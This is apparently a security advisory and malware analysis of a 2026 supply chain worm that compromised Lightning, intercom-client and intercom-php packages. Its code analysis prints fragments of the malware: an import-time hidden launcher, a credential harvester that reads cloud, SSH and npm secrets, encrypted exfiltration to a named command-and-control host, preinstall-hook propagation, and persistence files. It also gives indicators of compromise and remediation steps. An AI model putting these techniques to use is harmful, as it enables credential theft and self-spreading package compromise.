Mini Shai-Hulud: A Cross-Ecosystem Supply Chain Attack on PyTorch Lightning & Intercom Client

Summary

In late April 2026, the “Mini Shai-Hulud” campaign carried out a sophisticated cross-ecosystem supply chain attack, compromising widely used packages across Python (Lightning (PyTorch Lightning)), Node.js (intercom-client), and PHP ecosystems. Rather than exploiting traditional software vulnerabilities, the attackers leveraged stolen maintainer credentials and CI/CD tokens to publish malicious updates under trusted package names. These compromised versions executed automatically during installation or import, deploying a multi-stage payload powered by the Bun runtime to harvest credentials and propagate further.

This attack highlights a critical shift in modern threats: trusted dependencies and developer workflows are now primary attack vectors. Organizations must treat software supply chains as a core security boundary and enforce strict controls over dependency management, CI/CD access, and credential protection.

Root Cause

Unlike traditional attacks that exploit software vulnerabilities, the “Mini Shai-Hulud” campaign succeeded by abusing trust within modern software distribution ecosystems. The attackers did not need to break the code—they compromised the mechanisms used to deliver it.

At its core, the incident highlights several systemic weaknesses:

• Compromised Maintainer Credentials
  Attackers gained access to trusted publisher accounts, allowing them to release malicious versions under legitimate package names without raising immediate suspicion.
• Abuse of CI/CD Tokens (e.g., GitHub Actions OIDC)
  Automated pipelines were leveraged as an attack vector. Stolen or misconfigured tokens enabled unauthorized package publishing and repository modifications, effectively turning trusted automation into a delivery mechanism for malware.
• Insufficient Package Publishing Controls
  The absence of strict safeguards—such as multi-party approval, release gating, or anomaly detection—allowed malicious updates to be published and distributed rapidly across ecosystems.
• Lack of Release Integrity Verification
  Consumers of these packages did not enforce strong verification mechanisms (e.g., signed artifacts, provenance validation), making it difficult to distinguish legitimate releases from tampered ones.

What Are Lightning & Intercom-Client?

Lightning (PyTorch Lightning) is a widely adopted open-source framework built on top of PyTorch that simplifies the development and training of machine learning models. It abstracts complex training logic, enabling researchers and engineers to build scalable AI systems more efficiently, and is commonly used across research, MLOps pipelines, and production environments.

intercom-client is a Node.js SDK that allows applications to interact with the Intercom platform, enabling developers to manage customer data, automate messaging, and integrate user communication features into web and SaaS applications.

Both packages are high-trust components within modern software ecosystems, deeply embedded in development workflows and production systems. Their widespread adoption and access to sensitive environments made them particularly valuable targets for supply chain attacks, where compromising a single trusted dependency can have cascading effects across thousands of projects.

Timeline of Discovery & Disclosure

This diagram outlines the sequence of events during the “Mini Shai-Hulud” supply chain attack campaign between April 29 and April 30, 2026 (UTC). It provides a clear chronological view of how multiple software ecosystems were compromised, how the malicious activity was detected, and how mitigation efforts were carried out in near real time.

The campaign began on April 29, 2026, when several SAP-related npm packages were trojanized, introducing malicious code into the JavaScript ecosystem and marking the initial phase of the attack.

On April 30, 2026 (12:45–13:27 UTC), compromised versions 2.6.2 and 2.6.3 of the Lightning package were published to PyPI. Within minutes—around 13:30 UTC—security platforms such as Socket detected anomalous behavior, highlighting the speed at which modern detection systems can respond to suspicious package activity.

Later that day, PyPI administrators acted swiftly by quarantining the malicious Lightning releases, effectively preventing further distribution and limiting the blast radius of the attack.

At 14:41 UTC, the campaign expanded to the Node.js ecosystem, where a malicious version of Intercom Client (intercom-client@7.0.4) was published using a stolen GitHub Actions token. This version was quickly identified and removed by approximately 17:00 UTC, demonstrating coordinated response efforts across platforms.

The attack continued into the PHP ecosystem between 20:53 and 22:37 UTC, when the package intercom-php@5.0.2 was updated with a malicious commit. The change was detected and rapidly reverted, preventing prolonged exposure.

The timeline concludes with the post-incident response: Intercom issued security advisories, rotated compromised credentials, and confirmed that no customer data or SaaS infrastructure was breached. The overall impact was contained primarily to developer tooling and associated environments.

Affected Packages & Versions

The “Mini Shai-Hulud” campaign targeted multiple software ecosystems simultaneously, compromising widely trusted packages by abusing maintainer credentials and CI/CD tokens rather than relying on traditional tricks like typosquatting or dependency confusion.

PyPI (Python Ecosystem)

The Lightning (PyTorch Lightning) package was compromised in versions 2.6.2 and 2.6.3, where malicious code was embedded directly into the distributed wheel files. This payload executed upon import, making it particularly dangerous for unsuspecting developers.

The last known safe version is 2.6.1, published on January 30, 2026. Both malicious versions have since been removed from PyPI, and users are strongly advised to pin dependencies to version 2.6.1 or earlier.

npm (Node.js Ecosystem)

The intercom-client package version 7.0.4 (released April 30, 2026) included a malicious preinstall hook, allowing execution of attacker-controlled code during installation.

This compromise was traced back to a stolen GitHub Actions token, enabling unauthorized publishing. The only affected version was 7.0.4, and users should immediately downgrade to 7.0.3, the last safe release.

Composer (PHP Ecosystem)

The intercom-php package version 5.0.2 was compromised via a malicious Git tag between 20:53–22:37 UTC on April 30.

Although the tag has been reset to a clean commit, systems that pulled the package during that window may still be affected. Users should downgrade to 5.0.1 or clear their dependency cache and reinstall to ensure integrity.

Broader Threat Behavior

Unlike common supply chain attacks, this campaign leveraged trusted package names and compromised credentials to inject malicious updates directly.

Additionally, the payload demonstrated worm-like behavior:

• It scanned local npm caches for valid authentication tokens
• If found, it attempted to automatically publish compromised versions of other packages 
• This enabled lateral spread across developer environments and ecosystems

Security researchers warn that any package accessible via the stolen credentials could have been at risk.

Summary Table

Package / Ecosystem	Affected Versions	Safe Version	Attack Vector
lightning (PyPI)	2.6.2, 2.6.3	≤ 2.6.1	Compromised maintainer/PyPI token; malicious code in wheel (executes on import)
intercom-client (npm)	7.0.4	≤ 7.0.3	Stolen GitHub Actions token; malicious preinstall hook
intercom-php (Composer)	5.0.2 (tampered tag)	≤ 5.0.1	Compromised GitHub service account; malicious composer plugin

Who Is Affected

Developers and organizations that installed the compromised versions of Lightning (PyTorch Lightning), intercom-client, intercom-php, or the affected SAP npm components are directly exposed to risk. Any environment where these packages were installed or imported—including developer workstations, CI/CD pipelines, and build systems—should be treated as potentially compromised.

Given the widespread adoption of these packages, the confirmed figure of 1,800+ compromised GitHub repositories likely represents only an early snapshot of the campaign’s reach, with the potential for further expansion through automated propagation.

Organizations running cloud-native infrastructure face elevated risk, particularly those using Kubernetes or HashiCorp Vault, as the malware actively scans for configuration files, service tokens, and secret stores associated with these systems.

Code-Level Analysis

1. Import-Time Execution (Python Entry Point)

The attack begins by abusing Python’s import mechanism to trigger automatic execution as soon as the package is imported. Instead of requiring a function call, the malicious logic is embedded directly in the package initialization, turning a normal import into an execution point.

def _run_runtime():
    runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
    start = os.path.join(runtime_dir, "start.py")

    if os.path.exists(start):
        subprocess.Popen(
            [sys.executable, start],
            cwd=runtime_dir,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )

threading.Thread(target=_run_runtime, daemon=True).start()

This is the entry point of the attack, designed to execute automatically without user awareness.

• The code dynamically resolves the installation path of the package using __file__, ensuring it works regardless of environment.
• It looks for a hidden _runtime directory, which contains the malicious components.
• If start.py exists, it launches it using subprocess.Popen, meaning:
  • Execution is non-blocking 
  • Runs in parallel with normal program flow

The use of:

• stdout / stderr → redirected to DEVNULL 
• Background daemon thread

…ensures complete invisibility during execution.

2. Runtime Bootstrapper (Bun Loader Logic)

After gaining initial execution, the malware prepares a reliable runtime environment to execute its main payload. It ensures that the Bun JavaScript runtime is available, allowing the attack to run consistently regardless of the host system configuration.

BUN_VERSION = "1.3.13"
ENTRY_SCRIPT = "router_runtime.js"

if local_bun.exists():
    bun_exec = str(local_bun)
elif system_bun:
    bun_exec = system_bun
else:
    download_bun()
subprocess.run([bun_exec, ENTRY_SCRIPT])

This stage transforms the attack into a self-contained execution platform.

• The malware checks for:
  1. Local Bun runtime
  2. System-installed Bun
  3. Otherwise downloads it from GitHub

This ensures:

• The payload always executes, regardless of environment
• No dependency on pre-installed tools

The use of Bun is particularly strategic:

• Less commonly monitored than Node.js or Python
• Faster execution
• Helps evade traditional security tools

The attackers decouple execution from the host language, allowing the same payload to run across Python, Node, and PHP ecosystems.

3. Payload Orchestration (Central Control Logic)

At this stage, the malware activates its central control logic, coordinating all data collection and preparing for exfiltration. It acts as the “brain” of the operation, orchestrating multiple malicious tasks simultaneously.

const quickResults = await Promise.all([
  collectFilesystemSecrets(),
  collectShellAndEnv(),
  collectGitHubRunnerSecrets(),]);

This is the brain of the attack, coordinating all malicious activities.

• Uses Promise.all to run multiple data collection routines in parallel 
• Minimizes execution time → reduces detection window

The payload builds:

• Senders → communication channels (C2 + GitHub)
• Collectors → modules for extracting secrets

4. Credential Harvesting (Local + Cloud + CI)

This stage represents the primary objective of the attack: collecting credentials and sensitive data from the infected environment. The malware targets multiple sources to maximize access and ensure successful compromise.

const token = execSync("gh auth token").trim();

Local Environment Collection

• Executes CLI commands (e.g., gh auth token) to extract authentication tokens
• Dumps all environment variables via process.env 

 Captures:

• API keys
• Database credentials
• Access tokens
• Configuration secrets

File-Based Secret Discovery

const targets = [
  ".env",
  "~/.aws/credentials",
  "~/.npmrc",
  "~/.ssh/id_rsa"
];

• Scans common “hotspot” locations where secrets are stored
• Targets:
  • Cloud credentials
  • SSH keys
  • Package registry tokens

Cloud Credential Access

• Queries cloud-related sources such as:
  • AWS credentials and metadata endpoints
  • Azure CLI token cache
  • GCP authentication files

Enables access to:

• Cloud infrastructure
• Secret management systems
• Storage and compute resources

CI/CD Environment Targeting

if (process.env.GITHUB_ACTIONS !== "true") return;
const dump = execSync("...memory extraction...");

• Detects execution inside CI/CD pipelines
• Extracts secrets directly from runtime memory

 Advanced capability:

• Bypasses:
  • File-based protections
  • Secret masking mechanisms

5. Encrypted Exfiltration (Stealth Communication)

After collecting sensitive data, the malware prepares it for secure and stealthy exfiltration. This stage ensures that stolen information is protected during transmission and difficult for defenders to inspect or detect.

const gz = gzip(data);
const aesKey = randomBytes(32);
const encryptedKey = publicEncrypt(RSA_KEY, aesKey);

The malware uses a multi-layer encryption scheme:

1. Compression (gzip) 
   • Reduces data size
   • Adds basic obfuscation

2. Symmetric Encryption (AES-256) 
   • Encrypts the compressed data efficiently

3. Asymmetric Encryption (RSA) 
   • Encrypts the AES key for secure exchange

This layered approach ensures:

• Strong confidentiality
• Resistance to interception and analysis  

fetch("https://zero.masscan.cloud/v1/telemetry")

• Sends encrypted payload over HTTPS
• Uses normal web traffic patterns

 This makes detection difficult because:

• Traffic looks legitimate
• No obvious malicious signature

6. GitHub as Covert Channel (Stealth Exfiltration)

In addition to traditional command-and-control (C2) communication, the malware leverages GitHub as a covert channel for data exfiltration and token retrieval. By abusing a trusted platform, it blends malicious activity into normal developer workflows.

const url = "https://api.github.com/search/commits?q=EveryBoiWeBuildIsAWormyBoi";

Hidden Token Discovery

• Searches GitHub commit history for encoded markers
• Extracts tokens embedded within commit messages

 Purpose:

• Retrieve attacker-controlled credentials
• Establish a secondary communication mechanism

Data Exfiltration via Repositories

createRepo()
commitFile("results.json")

•  Automatically creates new public repositories
• Uploads stolen data as structured JSON files

 Observed patterns:

• Repository descriptions like:
  “A Mini Shai-Hulud has Appeared” 
• Use of encoded or obfuscated data

7. Supply Chain Propagation (npm Infection)

At this stage, the attack evolves into a self-propagating supply chain infection. The malware modifies package contents to ensure that it spreads automatically when the compromised package is installed by other developers.

pkg.scripts.preinstall = "node setup.mjs";
pkg.version = bumpPatch(pkg.version);

Lifecycle Script Injection

• Adds a malicious preinstall script to package.json 
• This script executes automatically during installation

Effect:

• Any downstream user installing the package unknowingly runs the malware

 Version Manipulation

• Increments the patch version (x.y.z → x.y.z+1)

Purpose:

• Makes the malicious package appear as a legitimate update
• Increases likelihood of adoption

 Package Tampering

• Injects additional payload files (e.g., setup.mjs)
• Repackages the modified tarball for redistribution

 Result:

• Compromised package becomes a new infection vector

Abuse of CI/CD Identity (OIDC)

fetch(OIDC_TOKEN)

• Uses GitHub Actions OIDC
• Exchanges it for npm publishing credentials

 This is critical:

• No need to steal passwords
• Uses trusted identity system against itself 

8. Repository Infection & Persistence

In the final stage, the malware ensures long-term persistence by modifying source code repositories. It embeds malicious components directly into project files so that the infection survives beyond the initial compromise and spreads to future users.

const FILE_UPDATES = {
".vscode/tasks.json": "...",
".claude/router_runtime.js": "...",
".claude/setup.mjs": "...",
".github/workflows/format-check.yml": "..."
};

File Injection into Repositories

• Adds or overwrites files in:
  • IDE configurations (.vscode/)
  • Hidden directories (.claude/)
  • CI workflows (.github/workflows/)

 Purpose:

• Introduce hidden execution paths
• Ensure payload runs during development or automation

Self-Replication

• Copies core payload files (e.g., router_runtime.js) into repositories

 Effect:

• Any developer cloning the repository inherits the malware
• Infection spreads across teams and environments

Disguised Commits

commitHeadline: "chore: update dependencies"

• Commits changes under benign messages
• Mimics normal maintenance or dependency updates

Social Engineering:

• Reduces suspicion during code review
• Blends with routine development activity

Attack Chain Breakdown

1. Initial Execution (Loader Trigger)

The attack begins when a developer installs or imports a compromised dependency (e.g., Lightning (PyTorch Lightning)).

• Malicious code is embedded in the package initialization
• Automatically executes via Python import behavior
• Launches a hidden background process (start.py)

Silent code execution occurs immediately, without user awareness or interaction.

2. Environment Preparation (Bootstrap Stage)

The loader (start.py) prepares the system for payload execution.

• Performs environment validation:
  • OS detection
  • Permission checks
  • Runtime availability

• Locates embedded payload components
• Initializes execution context

Ensures the attack can run reliably across different environments.

3. Runtime Deployment & Payload Activation

The attack deploys a cross-platform runtime and executes the main payload.

• Installs or reuses the Bun runtime
• Executes the core payload:

router_runtime.js
The attack transitions into a fully operational state using a less-monitored runtime.

4. System Reconnaissance & Data Harvesting

The payload begins comprehensive data collection from the local system.

• Extracts:
  • API keys (AWS, GCP, Azure)
  • GitHub and npm tokens
  • Environment variables
  • Configuration and credential files

• Reads CLI sessions and local authentication data

Sensitive credentials and access tokens are aggregated from multiple sources.

5.  Secure Data Exfiltration (C2 Communication)

Collected data is encrypted and transmitted to attacker-controlled infrastructure.

• Sends data to:

https://zero.masscan.cloud

• Uses encryption and HTTPS to blend with legitimate traffic

Stolen data is centralized while remaining difficult to detect in transit.

6.  Covert Persistence via GitHub

GitHub is abused as a secondary exfiltration and persistence channel.

• Encrypts and uploads data to attacker-controlled repositories
• May create or modify repositories automatically

Maintains long-term access while blending into trusted developer activity.

7. Credential Exploitation & Access Expansion

Stolen credentials are actively leveraged to expand attacker access.

• Targets:
  • GitHub repositories
  • Cloud infrastructure
  • CI/CD pipelines

• Enables:
  • Unauthorized deployments
  • Secret extraction
  • Infrastructure manipulation

Full compromise of development and production environments becomes possible.

8. Propagation & Supply Chain Expansion

The attack evolves into a self-propagating supply chain threat.

• Uses stolen tokens to:
  • Publish malicious packages
  • Inject code into repositories

• Mimics legitimate automation (e.g., dependency updates)

The attack spreads across ecosystems, transforming into a worm-like supply chain compromise.

Credential Theft Objectives & Targeted Assets

The malware employs a wide-ranging collection approach, extracting sensitive data from:

Developer Environments

• GitHub tokens (Personal Access Tokens and GitHub App tokens)
• npm and package registry tokens (.npmrc, environment variables)
• SSH private keys (~/.ssh/id_rsa)
• Local configuration files (.env, .pypirc, .git-credentials)
• Shell history and CLI session artifacts

 These credentials enable:

• Repository access and modification
• Unauthorized package publishing
• Lateral movement across systems

Cloud Infrastructure Credentials

The payload actively targets cloud authentication mechanisms:

• AWS 
  • Environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • Shared credentials file (~/.aws/credentials)
  • Instance Metadata Service (IMDS) and ECS endpoints

• Azure 
  • Azure CLI token cache
  • Tenant and identity metadata
  • Access to Key Vault secrets

• Google Cloud (GCP) 
  • Application Default Credentials (ADC)
  • Service account keys
  • OAuth token validation endpoints

CI/CD Pipeline Secrets

The malware specifically prioritizes execution in CI/CD environments, where high-privilege tokens are often exposed:

• Detects platforms such as:
  • GitHub Actions
  • CircleCI
  • AWS CodeBuild
  • Vercel

• Extracts:
  • Runtime environment variables
  • Pipeline secrets
  • GitHub Actions runner memory (advanced technique)

CI/CD tokens often have broad permissions, including deployment, publishing, and repository access.

Extended Target Surface

Beyond standard credentials, the malware may also access:

• Docker and container registry credentials
• Kubernetes configuration files (~/.kube/config)
• Helm charts and deployment configs
• MCP / AI agent configurations
• VPN credentials and session data
• Cryptocurrency wallets

 These artifacts expand attacker capabilities into:

• Infrastructure control
• Container environments
• Developer tooling ecosystems

Credential Validation & Prioritization

To maximize efficiency, the malware validates stolen credentials before use:

• GitHub tokens → verified via API (/user)
• npm tokens → validated via registry (whoami)

 Only active and valid credentials are used for:

• Further exploitation
• Propagation
• Data exfiltration

Indicators of Compromise (IOCs)

The “Mini Shai-Hulud” campaign left behind a range of identifiable artifacts across Python, Node.js, and PHP ecosystems. These indicators can be used by security teams to detect compromise, perform threat hunting, and validate system integrity.

Affected Packages

• Lightning (PyTorch Lightning)
  • Versions: 2.6.2, 2.6.3 

• intercom-client
  • Version: 7.0.4 

• intercom-php
  • Version: 5.0.2 (malicious tag) 

Malicious Files & Payloads

Key payload components observed across compromised packages:

• lightning/_runtime/router_runtime.js
• lightning/_runtime/start.py
• setup.mjs (npm package)
• router_runtime.js (~11.7 MB variant in npm)

These files were responsible for credential harvesting, persistence, and remote command execution.

File Hashes (High Confidence Indicators)

• router_runtime.js (Lightning payload) 
  • SHA-256:
    5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1

• start.py (Lightning loader) 
  • SHA-256:
    8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2

• MD5 (router_runtime.js) 
  • 40d0f21b64ec8fb3a7a1959897252e09

Git & Supply Chain Artifacts

• Malicious Git commit (PHP package):
  • e69bf4b3

• Clean commit reference:
  • 9371eba9

• Security advisories:
  • intercom-client: GHSA-54pg-9963-v8vg 
  • intercom-php: GHSA-gr3r-crp5-qrrm 

Command & Control (C2) Infrastructure

• Domain:
  • zero.masscan.cloud

• IP Address:
  • 94.154.172.43

• Endpoint pattern:
  • /v1/telemetry

Behavioral Indicators (Detection Opportunities)

Security monitoring systems (SIEM / EDR / IDS) should flag:

• Presence of:
  • router_runtime.js or start.py inside Python wheels or node_modules

• Creation of suspicious directories:
  • .claude
  • .vscode (with unusual or injected content)

• Unexpected process execution:
  • bun runtime launched during pip install or npm install
    (highly anomalous in most environments)

• Suspicious GitHub activity:
  • New repositories with descriptions like:
    “A Mini Shai-Hulud has Appeared” 
  • Dune-themed naming patterns

• Repository anomalies:
  • Unauthorized branch pushes/deletions
  • Activity linked to impersonated accounts (e.g., Dependabot-like behavior)
  • Actor reference: pl-ghost in Lightning repositories

• Build integrity issues:
  • Missing SLSA attestations in malicious releases
  • Present in prior legitimate versions but absent in compromised builds

IOC Summary Table

Indicator Type	Value / IOC
Compromised Packages	lightning v2.6.2, 2.6.3; intercom-client v7.0.4; intercom-php v5.0.2
Malicious Files	start.py, router_runtime.js, setup.mjs
SHA-256 Hashes	5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1; 8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
Git Commits	e69bf4b3 (malicious), 9371eba9 (clean)
C2 Infrastructure	zero.masscan.cloud, 94.154.172.43
Exfiltration Markers	“A Mini Shai-Hulud has Appeared”, Dune-themed repos
Behavioral Signals	bun execution during install, unusual .vscode/.claude dirs
Supply Chain Indicators	Missing SLSA attestations

Impact Assessment

1. Massive Exposure Across Ecosystems
   Widely used packages like Lightning (PyTorch Lightning) and intercom-client exposed millions of developer environments within a short timeframe.
2. High Risk of Credential Theft
   The attack targeted sensitive data such as GitHub tokens, npm/PyPI credentials, cloud keys, SSH keys, and environment variables.
3. Compromise of Developer & CI/CD Environments
   Affected systems include:
   • Developer machines
   • CI/CD pipelines (e.g., GitHub Actions)
   • Build and deployment systems

4. Potential Cloud & Infrastructure Takeover
   Stolen credentials could allow attackers to access:
   • Cloud resources (AWS, GCP, Azure)
   • Private repositories
   • Internal services

5. Large-Scale Data Exfiltration
   Attackers created 1,800+ GitHub repositories to store stolen data, showing automated and scalable exfiltration.
6. Worm-Like Propagation Risk
   The attack could reuse stolen tokens to:
   • Modify other packages
   • Republish malicious versions
   • Spread across the supply chain

7. Silent & Long-Term Impact
   No immediate visible damage, but the real threat is:
   • Persistent unauthorized access
   • Undetected compromise over time

Secure Supply Chain Recommendations

The “Mini Shai-Hulud” campaign demonstrates how modern attackers exploit trust in open-source ecosystems, CI/CD pipelines, and developer workflows. Organizations must move beyond traditional security models and adopt a supply chain–first security strategy.

Immediate Actions (If You May Be Affected)

Treat any environment that installed compromised versions as potentially breached.

• Remove affected packages immediately:
  • Lightning (PyTorch Lightning) 2.6.2, 2.6.3
  • intercom-client 7.0.4
  • intercom-php 5.0.2

• Downgrade to known safe versions:
  • Lightning ≤ 2.6.1 
  • intercom-client ≤ 7.0.3 
  • intercom-php ≤ 5.0.1 

• Rotate all credentials:
  • GitHub tokens
  • npm / PyPI tokens
  • Cloud credentials (AWS, GCP, Azure)
  • Environment variables

• Audit systems:
  • CI/CD pipelines
  • Developer machines
  • Build logs and outbound traffic

• Review GitHub activity:
  • Unknown repositories
  • Suspicious commits or encoded data

Strengthen Your Supply Chain Security

1. Enforce Dependency Integrity

• Pin dependencies to specific, verified versions 
• Maintain an up-to-date SBOM (Software Bill of Materials) 
• Alert on:
  • Unexpected version changes
  • New lifecycle scripts (preinstall, postinstall)

2. Verify Build Provenance

• Adopt frameworks like SLSA
• Use signing tools such as cosign
• Reject builds without valid provenance or attestations

3. Lock Down CI/CD Pipelines

• Apply least-privilege access to all tokens
• Restrict GitHub Actions OIDC permissions
• Prevent CI tokens from:
  • Publishing packages globally
  • Modifying unrelated repositories

4. Introduce Release Controls

• Require:
  • Multi-party approval for releases
  • Manual validation for sensitive updates

• Use:
  • Canary deployments
  • Staging environments before production

5. Monitor for Behavioral Anomalies

Focus on runtime behavior, not just signatures:

• Unexpected processes during install:
  • pip install, npm install, composer install

• Suspicious file creation:
  • .claude, .vscode with hidden scripts

• Unusual outbound traffic:
  • Unknown domains (e.g., telemetry endpoints)

6. Protect Developer Environments

• Store secrets securely (avoid plain-text files)
• Regularly rotate credentials
• Limit repository write permissions
• Educate developers on supply chain risks

Conclusion

The “Mini Shai-Hulud” campaign represents a significant evolution in supply chain attacks, demonstrating how adversaries can compromise trusted ecosystems without exploiting traditional vulnerabilities. By leveraging stolen credentials and abusing CI/CD pipelines, attackers introduced malicious code directly into widely used packages such as Lightning (PyTorch Lightning) and intercom-client, enabling silent execution, credential harvesting, and potential propagation across development environments.

While no confirmed end-user data breach occurred, the real risk lies in the stealthy exposure of sensitive credentials and the potential for long-term unauthorized access. This incident reinforces a critical reality: modern security must extend beyond application code to include dependencies, developer tooling, and build pipelines.

Organizations must adopt a supply chain–centric security approach, focusing on dependency integrity, least-privilege access, build verification, and continuous monitoring. In today’s threat landscape, trust in software ecosystems must be continuously validated—not assumed